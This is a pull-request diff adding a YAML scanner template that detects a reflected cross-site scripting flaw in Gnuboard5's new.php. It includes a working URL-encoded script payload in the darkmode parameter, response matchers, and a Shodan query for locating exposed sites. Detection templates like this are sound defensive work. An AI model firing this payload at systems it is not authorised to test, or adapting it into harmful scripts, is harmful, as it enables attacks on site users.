Merge pull request #5190 from arafatansari/patch-69

Create gnuboard5-xss.yaml

vulnerabilities/gnuboard/gnuboard5-xss.yaml

@@ -0,0 +1,34 @@
+id: gnuboard5-xss
+
+info:
+  name: Gnuboard5 - Cross Site Scripting
+  author: arafatansari
+  severity: medium
+  description: |
+    Gnuboard 5 is vulnerable to reflected XSS to a flaw in the clean_xss_tags() function called in new.php.
+  reference:
+    - https://huntr.dev/bounties/ad2a9b32-fe6c-43e9-9b05-2c77c58dde6a/
+  metadata:
+    verified: true
+    shodan-query: http.html:"gnuboard5"
+  tags: xss,gnuboard,gnuboard5
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'header\"><script>alert(document.domain)</script>.css?'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200